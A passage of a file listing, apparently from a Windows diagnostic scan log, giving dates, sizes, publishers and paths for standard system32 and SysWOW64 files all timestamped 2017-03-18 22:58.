2017-03-18 22:58 - 2017-03-18 22:58 - 00033280 _____ (Microsoft Corporation) C:\windows\system32\ThumbnailExtractionHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00033280 _____ (Microsoft Corporation) C:\windows\system32\dmprocessxmlfiltered.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00033280 _____ (Microsoft Corporation) C:\windows\system32\BthMtpContextHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00033128 _____ (Microsoft Corporation) C:\windows\SysWOW64\NtlmShared.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\SysWOW64\WSManHTTPConfig.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\SysWOW64\WordBreakers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\SysWOW64\winbioext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\SysWOW64\NETSTAT.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvidc32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\SysWOW64\MirrorDrvCompat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\SysWOW64\linkinfo.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\SysWOW64\gmsaclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\SysWOW64\efsutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\SysWOW64\ddodiag.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\SysWOW64\dataclen.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\WSManHTTPConfig.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\tapilua.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\shimgvw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\luiapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mskssrv.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\dnscacheugc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\DmOmaCpMo.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00032672 _____ (Microsoft Corporation) C:\windows\system32\Drivers\SleepStudyHelper.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00032256 _____ (Microsoft Corporation) C:\windows\SysWOW64\waitfor.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00032256 _____ (Microsoft Corporation) C:\windows\SysWOW64\pots.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032256 _____ (Microsoft Corporation) C:\windows\SysWOW64\hidphone.tsp
2017-03-18 22:58 - 2017-03-18 22:58 - 00032256 _____ (Microsoft Corporation) C:\windows\SysWOW64\gpprnext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032256 _____ (Microsoft Corporation) C:\windows\SysWOW64\dialer.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00032256 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmcfg32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032256 _____ (Microsoft Corporation) C:\windows\system32\userinit.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00032256 _____ (Microsoft Corporation) C:\windows\system32\NotificationControllerPS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00032256 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dumpsdport.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00031744 _____ (Microsoft) C:\windows\SysWOW64\usk.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00031744 _____ (Microsoft) C:\windows\system32\usk.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00031744 _____ (Microsoft Corporation) C:\windows\SysWOW64\vidcap.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00031744 _____ (Microsoft Corporation) C:\windows\SysWOW64\tcpmib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00031744 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasphone.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00031744 _____ (Microsoft Corporation) C:\windows\SysWOW64\dtsh.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00031744 _____ (Microsoft Corporation) C:\windows\system32\XblGameSaveTask.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00031744 _____ (Microsoft Corporation) C:\windows\system32\wksprtPS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00031744 _____ (Microsoft Corporation) C:\windows\system32\dsparse.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00031592 _____ (Microsoft Corporation) C:\windows\SysWOW64\cryptbase.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00031232 _____ (Microsoft Corporation) C:\windows\SysWOW64\WwaExt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00031232 _____ (Microsoft Corporation) C:\windows\SysWOW64\proquota.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\WsmAgent.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\seclogon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\FaxPrinterInstaller.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00031080 _____ (Microsoft Corporation) C:\windows\system32\version.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030749 _____ (Microsoft Corporation) C:\windows\SysWOW64\vbajet32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030720 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlidres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030720 _____ (Microsoft Corporation) C:\windows\SysWOW64\tvratings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030720 _____ (Microsoft Corporation) C:\windows\SysWOW64\tbauth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030720 _____ (Microsoft Corporation) C:\windows\SysWOW64\ReAgentc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00030720 _____ (Microsoft Corporation) C:\windows\SysWOW64\mtxlegih.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030720 _____ (Microsoft Corporation) C:\windows\SysWOW64\dsauth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030720 _____ (Microsoft Corporation) C:\windows\SysWOW64\Apphlpdm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030720 _____ (Microsoft Corporation) C:\windows\system32\wlidres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030560 _____ (Microsoft Corporation) C:\windows\SysWOW64\imaadp32.acm
2017-03-18 22:58 - 2017-03-18 22:58 - 00030528 _____ (Microsoft Corporation) C:\windows\SysWOW64\reguwpapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030368 _____ (Microsoft Corporation) C:\windows\SysWOW64\mrt_map.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030208 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmgrcspps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030208 _____ (Microsoft Corporation) C:\windows\SysWOW64\aeevts.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\at.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00030056 _____ (Microsoft Corporation) C:\windows\system32\PrintDialogHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00030016 _____ (Microsoft Corporation) C:\windows\SysWOW64\msadp32.acm
2017-03-18 22:58 - 2017-03-18 22:58 - 00029696 _____ (Microsoft Corporation) C:\windows\SysWOW64\PackagedCWALauncher.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00029696 _____ (Microsoft Corporation) C:\windows\SysWOW64\icacls.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00029696 _____ (Microsoft Corporation) C:\windows\SysWOW64\hidserv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00029696 _____ (Microsoft Corporation) C:\windows\SysWOW64\findstr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00029696 _____ (Microsoft Corporation) C:\windows\SysWOW64\DeviceDisplayStatusManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00029696 _____ (Microsoft Corporation) C:\windows\SysWOW64\credwiz.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\ztrace_maps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\RdpSaUacHelper.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\eapprovp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\SysWOW64\wups.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\SysWOW64\vss_ps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\SysWOW64\sxstrace.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\SysWOW64\scrnsave.scr
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\SysWOW64\OposHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\SysWOW64\iscsium.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\SysWOW64\ipconfig.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\SysWOW64\extrac32.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\SysWOW64\cliconfg.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\SysWOW64\auditpol.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\Windows.Management.Provisioning.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\dispex.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\DevicePairingProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028992 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdmo.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028992 _____ (Microsoft Corporation) C:\windows\SysWOW64\avrt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028672 _____ (Microsoft Corporation) C:\windows\SysWOW64\WofUtil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028672 _____ (Microsoft Corporation) C:\windows\SysWOW64\w32topl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028672 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIMgrBroker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00028672 _____ (Microsoft Corporation) C:\windows\SysWOW64\ThumbnailExtractionHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00028672 _____ (Microsoft Corporation) C:\windows\SysWOW64\msjint40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028672 _____ (Microsoft Corporation) C:\windows\SysWOW64\DeviceSetupStatusProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028672 _____ (Microsoft Corporation) C:\windows\SysWOW64\canonurl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028672 _____ (Microsoft Corporation) C:\windows\system32\shgina.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028672 _____ (Microsoft Corporation) C:\windows\system32\SharedStartModelShim.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028672 _____ (Microsoft Corporation) C:\windows\system32\bi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028320 _____ (Microsoft Corporation) C:\windows\SysWOW64\mrt100.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028160 _____ (Microsoft Corporation) C:\windows\SysWOW64\rpcnsh.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028160 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfcsubs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028160 _____ (Microsoft Corporation) C:\windows\SysWOW64\FdDevQuery.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00028160 _____ (Microsoft Corporation) C:\windows\SysWOW64\choice.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00028160 _____ (Microsoft Corporation) C:\windows\system32\prevhost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00028160 _____ (Microsoft Corporation) C:\windows\system32\CheckNetIsolation.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00028008 _____ (Microsoft Corporation) C:\windows\system32\dsrole.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00027968 _____ (Microsoft Corporation) C:\windows\system32\SystemSettingsRemoveDevice.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00027648 _____ (Microsoft Corporation) C:\windows\SysWOW64\syskey.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00027648 _____ (Microsoft Corporation) C:\windows\SysWOW64\mode.com
2017-03-18 22:58 - 2017-03-18 22:58 - 00027648 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapsTelemetry.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00027648 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmintegrator.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00027648 _____ (Microsoft Corporation) C:\windows\SysWOW64\cacls.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00027648 _____ (Microsoft Corporation) C:\windows\SysWOW64\ActivationClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00027648 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Profile.SystemManufacturers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00027648 _____ (Microsoft Corporation) C:\windows\system32\calc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00027424 _____ (Microsoft Corporation) C:\windows\SysWOW64\version.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00027136 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Management.Workplace.WorkplaceSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00027136 _____ (Microsoft Corporation) C:\windows\SysWOW64\userinit.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00027136 _____ (Microsoft Corporation) C:\windows\SysWOW64\RacEngn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00027136 _____ (Microsoft Corporation) C:\windows\SysWOW64\ctl3d32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00027136 _____ (Microsoft Corporation) C:\windows\SysWOW64\BthTelemetry.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\WiFiConfigSP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vwifibus.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ndistapi.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\dmoleaututils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026624 _____ (Microsoft Corporation) C:\windows\SysWOW64\RpcPing.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00026624 _____ (Microsoft Corporation) C:\windows\SysWOW64\msisip.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026624 _____ (Microsoft Corporation) C:\windows\SysWOW64\ifmon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026624 _____ (Microsoft Corporation) C:\windows\SysWOW64\fdProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026624 _____ (Microsoft Corporation) C:\windows\system32\wlansvcpal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026624 _____ (Microsoft Corporation) C:\windows\system32\winusb.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026624 _____ (Microsoft Corporation) C:\windows\system32\LicenseManagerSvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026472 _____ (Microsoft Corporation) C:\windows\system32\wuauclt.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00026112 _____ (Microsoft Corporation) C:\windows\SysWOW64\WsmAgent.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026112 _____ (Microsoft Corporation) C:\windows\SysWOW64\timeout.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00026112 _____ (Microsoft Corporation) C:\windows\SysWOW64\shimgvw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026112 _____ (Microsoft Corporation) C:\windows\SysWOW64\setup16.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00026112 _____ (Microsoft Corporation) C:\windows\SysWOW64\fsutilext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026112 _____ (Microsoft Corporation) C:\windows\SysWOW64\cryptdlg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026112 _____ (Microsoft Corporation) C:\windows\SysWOW64\calc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00026112 _____ (Microsoft Corporation) C:\windows\SysWOW64\AzSqlExt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\lmhsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025920 _____ (Microsoft Corporation) C:\windows\SysWOW64\pcwum.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025600 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.ApplicationModel.Background.TimeBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025600 _____ (Microsoft Corporation) C:\windows\SysWOW64\snmpapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025600 _____ (Microsoft Corporation) C:\windows\SysWOW64\shutdownext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025600 _____ (Microsoft Corporation) C:\windows\SysWOW64\netiougc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00025600 _____ (Microsoft Corporation) C:\windows\SysWOW64\msimsg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025600 _____ (Microsoft Corporation) C:\windows\SysWOW64\hid.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\RdpSaProxy.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\perfnet.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\EnterpriseAppMgmtClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\DscTimer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\drprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025504 _____ (Microsoft Corporation) C:\windows\SysWOW64\LocationFrameworkPS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025504 _____ (Microsoft Corporation) C:\windows\SysWOW64\DDACLSys.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\ztrace_maps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmiprop.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\ureg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\RdpSaUacHelper.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\mtxdm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\httpapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\gpupdate.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\fdWNet.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\eapprovp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmprocessxmlfiltered.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\at.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\sysntfy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\SetNetworkLocation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\diskperf.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\chkdsk.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\appidtel.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00024576 _____ (Microsoft Corporation) C:\windows\SysWOW64\sxsstore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024576 _____ (Microsoft Corporation) C:\windows\SysWOW64\msacm32.drv
2017-03-18 22:58 - 2017-03-18 22:58 - 00024576 _____ (Microsoft Corporation) C:\windows\SysWOW64\fltMC.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00024576 _____ (Microsoft Corporation) C:\windows\SysWOW64\elsTrans.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024576 _____ (Microsoft Corporation) C:\windows\SysWOW64\CheckNetIsolation.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00024576 _____ (Microsoft Corporation) C:\windows\system32\nativemap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024576 _____ (Microsoft Corporation) C:\windows\system32\AJRouter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024384 _____ (Microsoft Corporation) C:\windows\SysWOW64\dsrole.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024114 _____ C:\windows\SysWOW64\lcptr.tbl
2017-03-18 22:58 - 2017-03-18 22:58 - 00024114 _____ C:\windows\system32\lcptr.tbl
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\SysWOW64\prevhost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\SysWOW64\msyuv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\SysWOW64\more.com
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\SysWOW64\mciwave.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\SysWOW64\mciseq.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\SysWOW64\dsparse.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmintf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmpbk32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\SysWOW64\clip.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\SysWOW64\catsrvps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\system32\wshcon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\system32\ExtrasXmlParser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024064 _____ (Microsoft Corporation) C:\windows\system32\credssp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00024006 _____ C:\windows\SysWOW64\gb2312.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00024006 _____ C:\windows\system32\gb2312.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00023968 _____ (Microsoft Corporation) C:\windows\SysWOW64\BOOTVID.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00023552 _____ (Microsoft Corporation) C:\windows\SysWOW64\winrshost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00023552 _____ (Microsoft Corporation) C:\windows\SysWOW64\shutdown.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00023552 _____ (Microsoft Corporation) C:\windows\SysWOW64\shgina.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023552 _____ (Microsoft Corporation) C:\windows\SysWOW64\dswave.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023552 _____ (Microsoft Corporation) C:\windows\SysWOW64\DevicePairingProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023552 _____ (Microsoft Corporation) C:\windows\SysWOW64\comp.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Custom.ps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\smphost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\shunimpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\schedcli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\PaymentMediatorServiceProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023040 _____ (Microsoft Corporation) C:\windows\SysWOW64\winrnr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023040 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Profile.SystemManufacturers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023040 _____ (Microsoft Corporation) C:\windows\SysWOW64\SystemEventsBrokerClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023040 _____ (Microsoft Corporation) C:\windows\SysWOW64\secur32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023040 _____ (Microsoft Corporation) C:\windows\SysWOW64\RdpSaProxy.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00023040 _____ (Microsoft Corporation) C:\windows\SysWOW64\ias.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00023040 _____ (Microsoft Corporation) C:\windows\SysWOW64\fc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00023040 _____ (Microsoft Corporation) C:\windows\SysWOW64\chkdsk.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00022984 _____ C:\windows\SysWOW64\bopomofo.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00022984 _____ C:\windows\system32\bopomofo.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00022816 _____ (Microsoft Corporation) C:\windows\SysWOW64\msg711.acm
2017-03-18 22:58 - 2017-03-18 22:58 - 00022528 _____ (Microsoft Corporation) C:\windows\SysWOW64\perfnet.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00022528 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdtcVSp1res.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00022528 _____ (Microsoft Corporation) C:\windows\SysWOW64\lsmproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00022528 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmoleaututils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00022528 _____ (Microsoft Corporation) C:\windows\SysWOW64\ARP.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00022528 _____ (Microsoft Corporation) C:\windows\system32\WallpaperHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00022528 _____ (Microsoft Corporation) C:\windows\system32\IpNatHlpClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00022016 _____ (Microsoft) C:\windows\SysWOW64\grb.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00022016 _____ (Microsoft) C:\windows\system32\grb.rs
